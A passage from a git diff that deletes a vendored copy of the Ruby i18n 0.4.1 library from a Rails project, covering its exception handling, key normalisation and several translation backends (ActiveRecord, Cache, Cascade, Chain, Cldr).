-      keys.concat normalize_key(scope, separator)
-      keys.concat normalize_key(key, separator)
-      keys
-    end
-
-  # making these private until Ruby 1.9.2 can send to protected methods again
-  # see http://redmine.ruby-lang.org/repositories/revision/ruby-19?rev=24280
-  private
-
-    # Handles exceptions raised in the backend. All exceptions except for
-    # MissingTranslationData exceptions are re-raised. When a MissingTranslationData
-    # was caught and the option :raise is not set the handler returns an error
-    # message string containing the key/scope.
-    def default_exception_handler(exception, locale, key, options)
-      return exception.message if MissingTranslationData === exception
-      raise exception
-    end
-
-    # Any exceptions thrown in translate will be sent to the @@exception_handler
-    # which can be a Symbol, a Proc or any other Object.
-    #
-    # If exception_handler is a Symbol then it will simply be sent to I18n as
-    # a method call. A Proc will simply be called. In any other case the
-    # method #call will be called on the exception_handler object.
-    #
-    # Examples:
-    #
-    #   I18n.exception_handler = :default_exception_handler             # this is the default
-    #   I18n.default_exception_handler(exception, locale, key, options) # will be called like this
-    #
-    #   I18n.exception_handler = lambda { |*args| ... }                 # a lambda
-    #   I18n.exception_handler.call(exception, locale, key, options)    # will be called like this
-    #
-    #  I18n.exception_handler = I18nExceptionHandler.new                # an object
-    #  I18n.exception_handler.call(exception, locale, key, options)     # will be called like this
-    def handle_exception(exception, locale, key, options)
-      case config.exception_handler
-      when Symbol
-        send(config.exception_handler, exception, locale, key, options)
-      else
-        config.exception_handler.call(exception, locale, key, options)
-      end
-    end
-
-    # Deprecated. Will raise a warning in future versions and then finally be
-    # removed. Use I18n.normalize_keys instead.
-    def normalize_translation_keys(locale, key, scope, separator = nil)
-      normalize_keys(locale, key, scope, separator)
-    end
-
-    def normalize_key(key, separator)
-      normalized_key_cache[separator][key] ||=
-        case key
-        when Array
-          key.map { |k| normalize_key(k, separator) }.flatten
-        else
-          keys = key.to_s.split(separator)
-          keys.delete('')
-          keys.map!{ |k| k.to_sym }
-          keys
-        end
-    end
-
-    def normalized_key_cache
-      @normalized_key_cache ||= Hash.new { |h,k| h[k] = {} }
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend.rb
deleted file mode 100644
index fe65fb48..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module I18n
-  module Backend
-    autoload :ActiveRecord,          'i18n/backend/active_record'
-    autoload :Base,                  'i18n/backend/base'
-    autoload :InterpolationCompiler, 'i18n/backend/interpolation_compiler'
-    autoload :Cache,                 'i18n/backend/cache'
-    autoload :Cascade,               'i18n/backend/cascade'
-    autoload :Chain,                 'i18n/backend/chain'
-    autoload :Cldr,                  'i18n/backend/cldr'
-    autoload :Fallbacks,             'i18n/backend/fallbacks'
-    autoload :Flatten,               'i18n/backend/flatten'
-    autoload :Gettext,               'i18n/backend/gettext'
-    autoload :KeyValue,              'i18n/backend/key_value'
-    autoload :Memoize,               'i18n/backend/memoize'
-    autoload :Metadata,              'i18n/backend/metadata'
-    autoload :Pluralization,         'i18n/backend/pluralization'
-    autoload :Simple,                'i18n/backend/simple'
-    autoload :Transliterator,        'i18n/backend/transliterator'
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record.rb
deleted file mode 100644
index b60f138d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require 'i18n/backend/base'
-require 'i18n/backend/active_record/translation'
-
-module I18n
-  module Backend
-    class ActiveRecord
-      autoload :Missing,     'i18n/backend/active_record/missing'
-      autoload :StoreProcs,  'i18n/backend/active_record/store_procs'
-      autoload :Translation, 'i18n/backend/active_record/translation'
-
-      module Implementation
-        include Base, Flatten
-
-        def available_locales
-          begin
-            Translation.available_locales
-          rescue ::ActiveRecord::StatementInvalid
-            []
-          end
-        end
-
-        def store_translations(locale, data, options = {})
-          escape = options.fetch(:escape, true)
-          flatten_translations(locale, data, escape, false).each do |key, value|
-            Translation.locale(locale).lookup(expand_keys(key)).delete_all
-            Translation.create(:locale => locale.to_s, :key => key.to_s, :value => value)
-          end
-        end
-
-      protected
-
-        def lookup(locale, key, scope = [], options = {})
-          key = normalize_flat_keys(locale, key, scope, options[:separator])
-          result = Translation.locale(locale).lookup(key).all
-
-          if result.empty?
-            nil
-          elsif result.first.key == key
-            result.first.value
-          else
-            chop_range = (key.size + FLATTEN_SEPARATOR.size)..-1
-            result = result.inject({}) do |hash, r|
-              hash[r.key.slice(chop_range)] = r.value
-              hash
-            end
-            result.deep_symbolize_keys
-          end
-        end
-
-        # For a key :'foo.bar.baz' return ['foo', 'foo.bar', 'foo.bar.baz']
-        def expand_keys(key)
-          key.to_s.split(FLATTEN_SEPARATOR).inject([]) do |keys, key|
-            keys << [keys.last, key].compact.join(FLATTEN_SEPARATOR)
-          end
-        end
-      end
-
-      include Implementation
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/missing.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/missing.rb
deleted file mode 100644
index 0eafcb29..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/missing.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-#  This extension stores translation stub records for missing translations to
-#  the database.
-#
-#  This is useful if you have a web based translation tool. It will populate
-#  the database with untranslated keys as the application is being used. A
-#  translator can then go through these and add missing translations.
-#
-#  Example usage:
-#
-#     I18n::Backend::Chain.send(:include, I18n::Backend::ActiveRecord::Missing)
-#     I18n.backend = I18nChainBackend.new(I18n::Backend::ActiveRecord.new, I18n::Backend::Simple.new)
-#
-#  Stub records for pluralizations will also be created for each key defined
-#  in i18n.plural.keys.
-#
-#  For example:
-#
-#    # en.yml
-#    en:
-#      i18n:
-#        plural:
-#          keys: [:zero, :one, :other]
-#
-#    # pl.yml
-#    pl:
-#      i18n:
-#        plural:
-#          keys: [:zero, :one, :few, :other]
-#
-#  It will also persist interpolation keys in Translation#interpolations so
-#  translators will be able to review and use them.
-module I18n
-  module Backend
-    class ActiveRecord
-      module Missing
-        def store_default_translations(locale, key, options = {})
-          count, scope, default, separator = options.values_at(:count, *Base::RESERVED_KEYS)
-          separator ||= I18n.default_separator
-
-          keys = I18n.normalize_keys(locale, key, scope, separator)[1..-1]
-          key = keys.join(separator || I18n.default_separator)
-
-          unless ActiveRecord::Translation.locale(locale).lookup(key).exists?
-            interpolations = options.reject { |name, value| Base::RESERVED_KEYS.include?(name) }.keys
-            keys = count ? I18n.t('i18n.plural.keys', :locale => locale).map { |k| [key, k].join(separator) } : [key]
-            keys.each { |key| store_default_translation(locale, key, interpolations) }
-          end
-        end
-
-        def store_default_translation(locale, key, interpolations)
-          translation = ActiveRecord::Translation.new :locale => locale.to_s, :key => key
-          translation.interpolations = interpolations
-          translation.save
-        end
-
-        def translate(locale, key, options = {})
-          super
-        rescue I18n::MissingTranslationData => e
-          self.store_default_translations(locale, key, options)
-          raise e
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/store_procs.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/store_procs.rb
deleted file mode 100644
index 652b1aaa..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/store_procs.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# This module is intended to be mixed into the ActiveRecord backend to allow
-# storing Ruby Procs as translation values in the database.
-#
-#   I18n.backend = I18n::Backend::ActiveRecord.new
-#   I18n::Backend::ActiveRecord::Translation.send(:include, I18n::Backend::ActiveRecord::StoreProcs)
-#
-# The StoreProcs module requires the ParseTree and ruby2ruby gems and therefor
-# was extracted from the original backend.
-#
-# ParseTree is not compatible with Ruby 1.9.
-
-begin
-  require 'ruby2ruby'
-  require 'parse_tree'
-  require 'parse_tree_extensions'
-rescue LoadError => e
-  puts "can't use StoreProcs because: #{e.message}"
-end
-
-module I18n
-  module Backend
-    class ActiveRecord
-      module StoreProcs
-        def value=(v)
-          case v
-          when Proc
-            write_attribute(:value, v.to_ruby)
-            write_attribute(:is_proc, true)
-          else
-            write_attribute(:value, v)
-          end
-        end
-
-        Translation.send(:include, self) if method(:to_s).respond_to?(:to_ruby)
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/translation.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/translation.rb
deleted file mode 100644
index 9e382975..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/active_record/translation.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require 'active_record'
-
-module I18n
-  module Backend
-    # ActiveRecord model used to store actual translations to the database.
-    #
-    # This model expects a table like the following to be already set up in
-    # your the database:
-    #
-    #   create_table :translations do |t|
-    #     t.string :locale
-    #     t.string :key
-    #     t.text   :value
-    #     t.text   :interpolations
-    #     t.boolean :is_proc, :default => false
-    #   end
-    #
-    # This model supports to named scopes :locale and :lookup. The :locale
-    # scope simply adds a condition for a given locale:
-    #
-    #   I18n::Backend::ActiveRecord::Translation.locale(:en).all
-    #   # => all translation records that belong to the :en locale
-    #
-    # The :lookup scope adds a condition for looking up all translations
-    # that either start with the given keys (joined by an optionally given
-    # separator or I18n.default_separator) or that exactly have this key.
-    #
-    #   # with translations present for :"foo.bar" and :"foo.baz"
-    #   I18n::Backend::ActiveRecord::Translation.lookup(:foo)
-    #   # => an array with both translation records :"foo.bar" and :"foo.baz"
-    #
-    #   I18n::Backend::ActiveRecord::Translation.lookup([:foo, :bar])
-    #   I18n::Backend::ActiveRecord::Translation.lookup(:"foo.bar")
-    #   # => an array with the translation record :"foo.bar"
-    #
-    # When the StoreProcs module was mixed into this model then Procs will
-    # be stored to the database as Ruby code and evaluated when :value is
-    # called.
-    #
-    #   Translation = I18n::Backend::ActiveRecord::Translation
-    #   Translation.create \
-    #     :locale => 'en'
-    #     :key    => 'foo'
-    #     :value  => lambda { |key, options| 'FOO' }
-    #   Translation.find_by_locale_and_key('en', 'foo').value
-    #   # => 'FOO'
-    class ActiveRecord
-      class Translation < ::ActiveRecord::Base
-        set_table_name 'translations'
-        attr_protected :is_proc, :interpolations
-
-        serialize :value
-        serialize :interpolations, Array
-
-        scope_method = ::ActiveRecord::VERSION::MAJOR == 2 ? :named_scope : :scope
-
-        send scope_method, :locale, lambda { |locale|
-          { :conditions => { :locale => locale.to_s } }
-        }
-
-        send scope_method, :lookup, lambda { |keys, *separator|
-          column_name = connection.quote_column_name('key')
-          keys = Array(keys).map! { |key| key.to_s }
-
-          unless separator.empty?
-            warn "[DEPRECATION] Giving a separator to Translation.lookup is deprecated. " <<
-              "You can change the internal separator by overwriting FLATTEN_SEPARATOR."
-          end
-
-          namespace = "#{keys.last}#{I18n::Backend::Flatten::FLATTEN_SEPARATOR}%"
-          { :conditions => ["#{column_name} IN (?) OR #{column_name} LIKE ?", keys, namespace] }
-        }
-
-        def self.available_locales
-          Translation.find(:all, :select => 'DISTINCT locale').map { |t| t.locale.to_sym }
-        end
-
-        def interpolates?(key)
-          self.interpolations.include?(key) if self.interpolations
-        end
-
-        def value
-          if is_proc
-            Kernel.eval(read_attribute(:value))
-          else
-            value = read_attribute(:value)
-            value == 'f' ? false : value
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/base.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/base.rb
deleted file mode 100644
index 32725587..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/base.rb
+++ /dev/null
@@ -1,237 +0,0 @@
-# encoding: utf-8
-
-require 'yaml'
-require 'i18n/core_ext/hash'
-
-module I18n
-  module Backend
-    module Base
-      include I18n::Backend::Transliterator
-
-      RESERVED_KEYS = [:scope, :default, :separator, :resolve]
-      RESERVED_KEYS_PATTERN = /%\{(#{RESERVED_KEYS.join("|")})\}/
-      DEPRECATED_INTERPOLATION_SYNTAX_PATTERN = /(\\)?\{\{([^\}]+)\}\}/
-      INTERPOLATION_SYNTAX_PATTERN = /%\{([^\}]+)\}/
-
-      # Accepts a list of paths to translation files. Loads translations from
-      # plain Ruby (*.rb) or YAML files (*.yml). See #load_rb and #load_yml
-      # for details.
-      def load_translations(*filenames)
-        filenames = I18n.load_path.flatten if filenames.empty?
-        filenames.each { |filename| load_file(filename) }
-      end
-
-      # This method receives a locale, a data hash and options for storing translations.
-      # Should be implemented
-      def store_translations(locale, data, options = {})
-        raise NotImplementedError
-      end
-
-      def translate(locale, key, options = {})
-        raise InvalidLocale.new(locale) unless locale
-        return key.map { |k| translate(locale, k, options) } if key.is_a?(Array)
-
-        entry = key && lookup(locale, key, options[:scope], options)
-
-        if options.empty?
-          entry = resolve(locale, key, entry, options)
-        else
-          count, default = options.values_at(:count, :default)
-          values = options.except(*RESERVED_KEYS)
-          entry = entry.nil? && default ?
-            default(locale, key, default, options) : resolve(locale, key, entry, options)
-        end
-
-        raise(I18n::MissingTranslationData.new(locale, key, options)) if entry.nil?
-        entry = entry.dup if entry.is_a?(String)
-
-        entry = pluralize(locale, entry, count) if count
-        entry = interpolate(locale, entry, values) if values
-        entry
-      end
-
-      # Acts the same as +strftime+, but uses a localized version of the
-      # format string. Takes a key from the date/time formats translations as
-      # a format argument (<em>e.g.</em>, <tt>:short</tt> in <tt>:'date.formats'</tt>).
-      def localize(locale, object, format = :default, options = {})
-        raise ArgumentError, "Object must be a Date, DateTime or Time object. #{object.inspect} given." unless object.respond_to?(:strftime)
-
-        if Symbol === format
-          key = format
-          type = object.respond_to?(:sec) ? 'time' : 'date'
-          format = I18n.t(:"#{type}.formats.#{key}", options.merge(:raise => true, :object => object, :locale => locale))
-        end
-
-        # format = resolve(locale, object, format, options)
-        format = format.to_s.gsub(/%[aAbBp]/) do |match|
-          case match
-          when '%a' then I18n.t(:"date.abbr_day_names",                  :locale => locale, :format => format)[object.wday]
-          when '%A' then I18n.t(:"date.day_names",                       :locale => locale, :format => format)[object.wday]
-          when '%b' then I18n.t(:"date.abbr_month_names",                :locale => locale, :format => format)[object.mon]
-          when '%B' then I18n.t(:"date.month_names",                     :locale => locale, :format => format)[object.mon]
-          when '%p' then I18n.t(:"time.#{object.hour < 12 ? :am : :pm}", :locale => locale, :format => format) if object.respond_to? :hour
-          end
-        end
-
-        object.strftime(format)
-      end
-
-      # Returns an array of locales for which translations are available
-      # ignoring the reserved translation meta data key :i18n.
-      def available_locales
-        raise NotImplementedError
-      end
-
-      def reload!
-        @skip_syntax_deprecation = false
-      end
-
-      protected
-
-        # The method which actually looks up for the translation in the store.
-        def lookup(locale, key, scope = [], options = {})
-          raise NotImplementedError
-        end
-
-        # Evaluates defaults.
-        # If given subject is an Array, it walks the array and returns the
-        # first translation that can be resolved. Otherwise it tries to resolve
-        # the translation directly.
-        def default(locale, object, subject, options = {})
-          options = options.dup.reject { |key, value| key == :default }
-          case subject
-          when Array
-            subject.each do |item|
-              result = resolve(locale, object, item, options) and return result
-            end and nil
-          else
-            resolve(locale, object, subject, options)
-          end
-        end
-
-        # Resolves a translation.
-        # If the given subject is a Symbol, it will be translated with the
-        # given options. If it is a Proc then it will be evaluated. All other
-        # subjects will be returned directly.
-        def resolve(locale, object, subject, options = nil)
-          return subject if options[:resolve] == false
-          case subject
-          when Symbol
-            I18n.translate(subject, (options || {}).merge(:locale => locale, :raise => true))
-          when Proc
-            date_or_time = options.delete(:object) || object
-            resolve(locale, object, subject.call(date_or_time, options), options = {})
-          else
-            subject
-          end
-        rescue MissingTranslationData
-          nil
-        end
-
-        # Picks a translation from an array according to English pluralization
-        # rules. It will pick the first translation if count is not equal to 1
-        # and the second translation if it is equal to 1. Other backends can
-        # implement more flexible or complex pluralization rules.
-        def pluralize(locale, entry, count)
-          return entry unless entry.is_a?(Hash) && count
-
-          key = :zero if count == 0 && entry.has_key?(:zero)
-          key ||= count == 1 ? :one : :other
-          raise InvalidPluralizationData.new(entry, count) unless entry.has_key?(key)
-          entry[key]
-        end
-
-        # Interpolates values into a given string.
-        #
-        #   interpolate "file %{file} opened by %%{user}", :file => 'test.txt', :user => 'Mr. X'
-        #   # => "file test.txt opened by %{user}"
-        #
-        # Note that you have to double escape the <tt>\\</tt> when you want to escape
-        # the <tt>{{...}}</tt> key in a string (once for the string and once for the
-        # interpolation).
-        def interpolate(locale, string, values = {})
-          return string unless string.is_a?(::String) && !values.empty?
-          original_values = values.dup
-
-          preserve_encoding(string) do
-            string = string.gsub(DEPRECATED_INTERPOLATION_SYNTAX_PATTERN) do
-              escaped, key = $1, $2.to_sym
-              if escaped
-                "{{#{key}}}"
-              else
-                warn_syntax_deprecation!
-                "%{#{key}}"
-              end
-            end
-
-            keys = string.scan(INTERPOLATION_SYNTAX_PATTERN).flatten
-            return string if keys.empty?
-
-            values.each do |key, value|
-              if keys.include?(key.to_s)
-                value = value.call(values) if interpolate_lambda?(value, string, key)
-                value = value.to_s unless value.is_a?(::String)
-                values[key] = value
-              else
-                values.delete(key)
-              end
-            end
-
-            string % values
-          end
-        rescue KeyError => e
-          if string =~ RESERVED_KEYS_PATTERN
-            raise ReservedInterpolationKey.new($1.to_sym, string)
-          else
-            raise MissingInterpolationArgument.new(original_values, string)
-          end
-        end
-
-        def preserve_encoding(string)
-          if string.respond_to?(:encoding)
-            encoding = string.encoding
-            result = yield
-            result.force_encoding(encoding) if result.respond_to?(:force_encoding)
-            result
-          else
-            yield
-          end
-        end
-
-        # returns true when the given value responds to :call and the key is
-        # an interpolation placeholder in the given string
-        def interpolate_lambda?(object, string, key)
-          object.respond_to?(:call) && string =~ /%\{#{key}\}|%\<#{key}>.*?\d*\.?\d*[bBdiouxXeEfgGcps]\}/
-        end
-
-        # Loads a single translations file by delegating to #load_rb or
-        # #load_yml depending on the file extension and directly merges the
-        # data to the existing translations. Raises I18n::UnknownFileType
-        # for all other file extensions.
-        def load_file(filename)
-          type = File.extname(filename).tr('.', '').downcase
-          raise UnknownFileType.new(type, filename) unless respond_to?(:"load_#{type}")
-          data = send(:"load_#{type}", filename) # TODO raise a meaningful exception if this does not yield a Hash
-          data.each { |locale, d| store_translations(locale, d) }
-        end
-
-        # Loads a plain Ruby translations file. eval'ing the file must yield
-        # a Hash containing translation data with locales as toplevel keys.
-        def load_rb(filename)
-          eval(IO.read(filename), binding, filename)
-        end
-
-        # Loads a YAML translations file. The data must have locales as
-        # toplevel keys.
-        def load_yml(filename)
-          YAML::load(IO.read(filename))
-        end
-
-        def warn_syntax_deprecation! #:nodoc:
-          return if @skip_syntax_deprecation
-          warn "The {{key}} interpolation syntax in I18n messages is deprecated. Please use %{key} instead.\n#{caller.join("\n")}"
-          @skip_syntax_deprecation = true
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cache.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cache.rb
deleted file mode 100644
index 25e6001d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cache.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-# encoding: utf-8
-
-# This module allows you to easily cache all responses from the backend - thus
-# speeding up the I18n aspects of your application quite a bit.
-#
-# To enable caching you can simply include the Cache module to the Simple
-# backend - or whatever other backend you are using:
-#
-#  I18n::Backend::Simple.send(:include, I18n::Backend::Cache)
-#
-# You will also need to set a cache store implementation that you want to use:
-#
-#  I18n.cache_store = ActiveSupport::Cache.lookup_store(:memory_store)
-#
-# You can use any cache implementation you want that provides the same API as
-# ActiveSupport::Cache (only the methods #fetch and #write are being used).
-#
-# The cache_key implementation assumes that you only pass values to
-# I18n.translate that return a valid key from #hash (see
-# http://www.ruby-doc.org/core/classes/Object.html#M000337).
-module I18n
-  class << self
-    @@cache_store = nil
-    @@cache_namespace = nil
-
-    def cache_store
-      @@cache_store
-    end
-
-    def cache_store=(store)
-      @@cache_store = store
-    end
-
-    def cache_namespace
-      @@cache_namespace
-    end
-
-    def cache_namespace=(namespace)
-      @@cache_namespace = namespace
-    end
-
-    def perform_caching?
-      !cache_store.nil?
-    end
-  end
-
-  module Backend
-    # TODO Should the cache be cleared if new translations are stored?
-    module Cache
-      def translate(*args)
-        I18n.perform_caching? ? fetch(*args) { super } : super
-      end
-
-      protected
-
-        def fetch(*args, &block)
-          result = I18n.cache_store.fetch(cache_key(*args), &block)
-          raise result if result.is_a?(Exception)
-          result = result.dup if result.frozen? rescue result
-          result
-        rescue MissingTranslationData => exception
-          I18n.cache_store.write(cache_key(*args), exception)
-          raise exception
-        end
-
-        def cache_key(*args)
-          # This assumes that only simple, native Ruby values are passed to I18n.translate.
-          # Also, in Ruby < 1.8.7 {}.hash != {}.hash
-          # (see http://paulbarry.com/articles/2009/09/14/why-rails-3-will-require-ruby-1-8-7)
-          # If args.inspect does not work for you for some reason, patches are very welcome :)
-          hash = RUBY_VERSION >= "1.8.7" ? args.hash : args.inspect
-          keys = ['i18n', I18n.cache_namespace, hash]
-          keys.compact.join('-')
-        end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cascade.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cascade.rb
deleted file mode 100644
index 370fb481..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cascade.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# encoding: utf-8
-
-# EXPERIMENTAL
-#
-# The Cascade module adds the ability to do cascading lookups to backends that
-# are compatible to the Simple backend.
-#
-# By cascading lookups we mean that for any key that can not be found the
-# Cascade module strips one segment off the scope part of the key and then
-# tries to look up the key in that scope.
-#
-# E.g. when a lookup for the key :"foo.bar.baz" does not yield a result then
-# the segment :bar will be stripped off the scope part :"foo.bar" and the new
-# scope :foo will be used to look up the key :baz. If that does not succeed
-# then the remaining scope segment :foo will be omitted, too, and again the
-# key :baz will be looked up (now with no scope).
-#
-# To enable a cascading lookup one passes the :cascade option:
-#
-#   I18n.t(:'foo.bar.baz', :cascade => true)
-#
-# This will return the first translation found for :"foo.bar.baz", :"foo.baz"
-# or :baz in this order.
-#
-# The cascading lookup takes precedence over resolving any given defaults.
-# I.e. defaults will kick in after the cascading lookups haven't succeeded.
-#
-# This behavior is useful for libraries like ActiveRecord validations where
-# the library wants to give users a bunch of more or less fine-grained options
-# of scopes for a particular key.
-#
-# Thanks to Clemens Kofler for the initial idea and implementation! See
-# http://github.com/clemens/i18n-cascading-backend
-
-module I18n
-  module Backend
-    module Cascade
-      def lookup(locale, key, scope = [], options = {})
-        return super unless cascade = options[:cascade]
-
-        separator = options[:separator] || I18n.default_separator
-        skip_root = cascade.has_key?(:skip_root) ? cascade[:skip_root] : true
-        step      = cascade[:step]
-
-        keys   = I18n.normalize_keys(nil, key, nil, separator)
-        offset = options[:cascade][:offset] || keys.length
-        scope  = I18n.normalize_keys(nil, nil, scope, separator) + keys
-        key    = scope.slice!(-offset, offset).join(separator)
-
-        begin
-          result = super
-          return result unless result.nil?
-        end while !scope.empty? && scope.slice!(-step, step) && (!scope.empty? || !skip_root)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/chain.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/chain.rb
deleted file mode 100644
index f73a69f9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/chain.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-# encoding: utf-8
-
-module I18n
-  module Backend
-    # Backend that chains multiple other backends and checks each of them when
-    # a translation needs to be looked up. This is useful when you want to use
-    # standard translations with a Simple backend but store custom application
-    # translations in a database or other backends.
-    #
-    # To use the Chain backend instantiate it and set it to the I18n module.
-    # You can add chained backends through the initializer or backends
-    # accessor:
-    #
-    #   # preserves the existing Simple backend set to I18n.backend
-    #   I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
-    #
-    # The implementation assumes that all backends added to the Chain implement
-    # a lookup method with the same API as Simple backend does.
-    class Chain
-      include Base
-
-      attr_accessor :backends
-
-      def initialize(*backends)
-        self.backends = backends
-      end
-
-      def reload!
-        backends.each { |backend| backend.reload! }
-      end
-
-      def store_translations(locale, data, options = {})
-        backends.first.store_translations(locale, data, options = {})
-      end
-
-      def available_locales
-        backends.map { |backend| backend.available_locales }.flatten.uniq
-      end
-
-      def translate(locale, key, options = {})
-        return key.map { |k| translate(locale, k, options) } if key.is_a?(Array)
-
-        default = options.delete(:default)
-        namespace = {}
-        backends.each do |backend|
-          begin
-            options.update(:default => default) if default and backend == backends.last
-            translation = backend.translate(locale, key, options)
-            if namespace_lookup?(translation, options)
-              namespace.update(translation)
-            elsif !translation.nil?
-              return translation
-            end
-          rescue MissingTranslationData
-          end
-        end
-        return namespace unless namespace.empty?
-        raise(I18n::MissingTranslationData.new(locale, key, options))
-      end
-
-      def localize(locale, object, format = :default, options = {})
-        backends.each do |backend|
-          begin
-            result = backend.localize(locale, object, format, options) and return result
-          rescue MissingTranslationData
-          end
-        end
-        raise(I18n::MissingTranslationData.new(locale, format, options))
-      end
-
-      protected
-        def namespace_lookup?(result, options)
-          result.is_a?(Hash) and not options.has_key?(:count)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cldr.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cldr.rb
deleted file mode 100644
index d702f224..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/cldr.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-# encoding: utf-8
-require 'cldr'
-
-module I18n
-  module Backend
-    module Cldr
-      include ::Cldr::Format
-
-      def localize(locale, object, format = :default, options = {})
-        options[:as] ||= detect_type(object, options)
-        send(:"format_#{options[:as]}", locale, object, format, options)
-      end
-
-      def format_decimal(locale, object, format = :default, options = {})
-        formatter(locale, :decimal, format).apply(object, options)
-      end
-
-      def format_integer(locale, object, format = :default, options = {})
-        format_object(number, options.merge(:precision => 0))
-      end
-
-      def format_currency(locale, object, format = :default, options = {})
-        options.merge!(:currency => lookup_currency(locale, options[:currency], object)) if options[:currency].is_a?(Symbol)
-        formatter(locale, :currency, format).apply(object, options)
-      end
-
-      def format_percent(locale, object, format = :default, options = {})
-        formatter(locale, :percent, format).apply(object, options)
-      end
-
-      def format_date(locale, object, format = :default, options = {})
-        formatter(locale, :date, format).apply(object, options)
-      end
-
-      def format_time(locale, object, format = :default, options = {})
-        formatter(locale, :time, format).apply(object, options)
-      end
-
-      def format_datetime(locale, object, format = :default, options = {})
-        key  = :"calendars.gregorian.formats.datetime.#{format}.pattern"
-        date = I18n.l(object, :format => options[:date_format] || format, :locale => locale, :as => :date)
-        time = I18n.l(object, :format => options[:time_format] || format, :locale => locale, :as => :time)
-        I18n.t(key, :date => date, :time => time, :locale => locale, :raise => true)
-      end
-
-      protected
-
-        def detect_type(object, options)
-          options.has_key?(:currency) ? :currency : case object
-          when ::Numeric
-            :decimal
-          when ::Date, ::DateTime, ::Time
-            object.class.name.downcase.to_sym
-          else
-            raise_unspecified_format_type!
-          end
-        end
-
-        def formatter(locale, type, format)
-          (@formatters ||= {})[:"#{locale}.#{type}.#{format}"] ||= begin
-            format = lookup_format(locale, type, format)
-            data   = lookup_format_data(locale, type)
-            ::Cldr::Format.const_get(type.to_s.camelize).new(format, data)
-          end
-        end
-
-        def lookup_format(locale, type, format)
-          key = case type
-          when :date, :time, :datetime
-            :"calendars.gregorian.formats.#{type}.#{format}.pattern"
-          else
-            :"numbers.formats.#{type}.patterns.#{format || :default}"
-          end
-          I18n.t(key, :locale => locale, :raise => true)
-        end
-
-        def lookup_format_data(locale, type)
-          key = case type
-          when :date, :time, :datetime
-            :'calendars.gregorian'
-          else
-            :'numbers.symbols'
-          end
-          I18n.t(key, :locale => locale, :raise => true)
-        end
-
-        def lookup_currency(locale, currency, count)
-          I18n.t(:"currencies.#{currency}", :locale => locale, :count => count)
-        end
-
-        def raise_unspecified_format_type!
-          raise ArgumentError.new("You have to specify a format type, e.g. :as => :number.")
-        end
-
-        def raise_unspecified_currency!
-          raise ArgumentError.new("You have to specify a currency, e.g. :currency => 'EUR'.")
-        end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/fallbacks.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/fallbacks.rb
deleted file mode 100644
index 1e014be7..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/fallbacks.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-# encoding: utf-8
-
-# I18n locale fallbacks are useful when you want your application to use
-# translations from other locales when translations for the current locale are
-# missing. E.g. you might want to use :en translations when translations in
-# your applications main locale :de are missing.
-#
-# To enable locale fallbacks you can simply include the Fallbacks module to
